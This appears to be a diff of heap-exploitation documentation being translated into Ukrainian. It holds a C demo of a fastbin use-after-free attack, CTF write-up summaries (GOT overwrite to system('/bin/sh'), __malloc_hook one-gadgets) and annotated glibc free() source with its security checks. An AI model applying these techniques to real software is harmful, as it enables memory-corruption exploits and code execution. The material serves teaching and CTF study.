printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> Якщо можливо перезаписати значення глобальної змінної **`global_max_fast`** великим числом, це дозволяє генерувати швидкі бін-чанки більших розмірів, що потенційно дозволяє виконувати атаки на швидкі бін-чанки в сценаріях, де це раніше було неможливо. Ця ситуація корисна в контексті [large bin attack](large-bin-attack.md) та [unsorted bin attack](unsorted-bin-attack.md)
## Examples
## Приклади
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- Можливо виділяти чанки, звільняти їх, читати їх вміст і заповнювати їх (з вразливістю переповнення).
- **Консолідація чанка для витоку інформації**: Техніка полягає в зловживанні переповненням для створення фальшивого `prev_size`, щоб один попередній чанк був поміщений всередину більшого, тому при виділенні більшого, що містить інший чанк, можливо вивести його дані та витік адреси до libc (`main_arena+88`).
- **Перезапис хука malloc**: Для цього, зловживаючи попередньою ситуацією накладення, було можливо мати 2 чанки, які вказували на одну й ту ж пам'ять. Тому, звільнивши їх обидва (звільнивши інший чанк між ними, щоб уникнути захисту), було можливо мати той самий чанк у швидкому біні 2 рази. Потім його можна було знову виділити, перезаписати адресу наступного чанка, щоб вказати трохи перед `__malloc_hook` (щоб вона вказувала на ціле число, яке malloc вважає вільним розміром - ще один обхід), знову виділити його, а потім виділити інший чанк, який отримає адресу до хуків malloc.\
Нарешті, **один гаджет** був записаний туди.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Існує переповнення купи та використання після звільнення і подвійне звільнення, оскільки коли чанк звільняється, можливо повторно використовувати та знову звільняти вказівники.
- **Витік інформації libc**: Просто звільніть кілька чанків, і вони отримають вказівник на частину місця основної арени. Оскільки ви можете повторно використовувати звільнені вказівники, просто прочитайте цю адресу.
- **Атака на швидкі бін-чанки**: Усі вказівники на виділення зберігаються в масиві, тому ми можемо звільнити кілька швидких бін-чанків, а в останньому перезаписати адресу, щоб вказати трохи перед цим масивом вказівників. Потім виділимо кілька чанків одного розміру, і спочатку отримаємо легітимний, а потім фальшивий, що містить масив вказівників. Тепер ми можемо перезаписати ці вказівники виділення, щоб зробити GOT-адресу `free` вказувати на `system`, а потім записати `"/bin/sh"` в чанк 1, щоб потім викликати `free(chunk1)`, що замість цього виконає `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Ще один приклад зловживання переповненням одного байта для консолідації чанків в неупорядкованому біні та отримання витоку інформації libc, а потім виконання атаки на швидкі бін-чанки для перезапису хука malloc з адресою одного гаджета.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Після витоку інформації, зловживаючи неупорядкованим біном з UAF для витоку адреси libc та адреси PIE, експлуатація цього CTF використовувала атаку на швидкі бін-чанки для виділення чанка в місці, де знаходилися вказівники на контрольовані чанки, тому було можливо перезаписати певні вказівники, щоб записати один гаджет у GOT.
- Ви можете знайти атаку на швидкі бін-чанки, зловживаючи через атаку на неупорядкований бін:
- Зверніть увагу, що зазвичай перед виконанням атак на швидкі бін-чанки зловживають списками звільнення для витоку адрес libc/купи (коли це необхідно).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Ми можемо виділяти лише чанки розміром більшим за `0x100`.
- Перезаписати `global_max_fast`, використовуючи атаку на неупорядкований бін (працює 1/16 разів через ASLR, оскільки нам потрібно змінити 12 біт, але ми повинні змінити 16 біт).
- Атака на швидкі бін-чанки для модифікації глобального масиву чанків. Це дає примітив довільного читання/запису, що дозволяє модифікувати GOT і встановити деякі функції, щоб вказувати на `system`.
{{#ref}}
unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# Функції пам'яті купи
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Підсумок безкоштовного замовлення <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(У цьому підсумку не пояснюються перевірки, і деякі випадки були опущені для стислості)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. Якщо адреса нульова, нічого не робіть
2. Якщо шматок був mmaped, mummap його і закінчіть
3. Викличте `_int_free`:
1. Якщо можливо, додайте шматок до tcache
2. Якщо можливо, додайте шматок до швидкого біну
3. Викличте `_int_free_merge_chunk`, щоб об'єднати шматок, якщо це необхідно, і додати його до неупорядкованого списку
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` викликає `__libc_free`.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- Якщо передана адреса є нульовою (0), нічого не робіть.
- Перевірте тег вказівника
- Якщо шматок є `mmaped`, `mummap` його і це все
- Якщо ні, додайте колір і викличте `_int_free` для нього
<details>
<summary>__lib_free code</summary>
<summary>__lib_free код</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Він починається з деяких перевірок, щоб переконатися:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- **вказівник** **вирівняний,** або викликає помилку `free(): invalid pointer`
- **розмір** не менший за мінімальний і що **розмір** також **вирівняний** або викликає помилку: `free(): invalid size`
<details>
<summary>_int_free start</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Спочатку він спробує виділити цей шматок у відповідному tcache. Однак перед цим виконуються деякі перевірки. Він пройде через усі шматки tcache з таким же індексом, як і звільнений шматок, і:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- Якщо є більше записів, ніж `mp_.tcache_count`: `free(): занадто багато шматків виявлено в tcache`
- Якщо запис не вирівняний: free(): `виявлено невирівняний шматок у tcache 2`
- якщо звільнений шматок вже був звільнений і присутній як шматок у tcache: `free(): виявлено подвійне звільнення в tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
Якщо все йде добре, шматок додається до tcache, і функція повертається.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Почніть з перевірки, що розмір підходить для fast bin, і перевірте, чи можливо встановити його близько до верхнього шматка.
Then, add the freed chunk at the top of the fast bin while performing some checks:
Потім додайте звільнений шматок на верхівку fast bin, виконуючи деякі перевірки:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- Якщо розмір шматка недійсний (занадто великий або малий), викличте: `free(): invalid next size (fast)`
- Якщо доданий шматок вже був верхнім у fast bin: `double free or corruption (fasttop)`
- Якщо розмір шматка на верху має інший розмір, ніж шматок, який ми додаємо: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
Якщо шматок ще не був виділений в жодному біні, викликайте `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Ця функція спробує об'єднати шматок P розміром SIZE байтів з його сусідами. Результуючий шматок буде поміщено в список несортованих шматків.
Some checks are performed:
Виконуються деякі перевірки:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- Якщо шматок є верхнім шматком: `double free or corruption (top)`
- Якщо наступний шматок знаходиться за межами арени: `double free or corruption (out)`
- Якщо шматок не позначений як використаний (в `prev_inuse` наступного шматка): `double free or corruption (!prev)`
- Якщо наступний шматок має занадто малий або занадто великий розмір: `free(): invalid next size (normal)`
- якщо попередній шматок не використовується, він спробує консолідувати. Але, якщо prev_size відрізняється від розміру, вказаного в попередньому шматку: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,163 +1,163 @@
# Heap Functions Security Checks
# Перевірки безпеки функцій купи
{{#include ../../../banners/hacktricks-training.md}}
## unlink
For more info check:
Для отримання додаткової інформації перевірте:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Це резюме виконаних перевірок:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
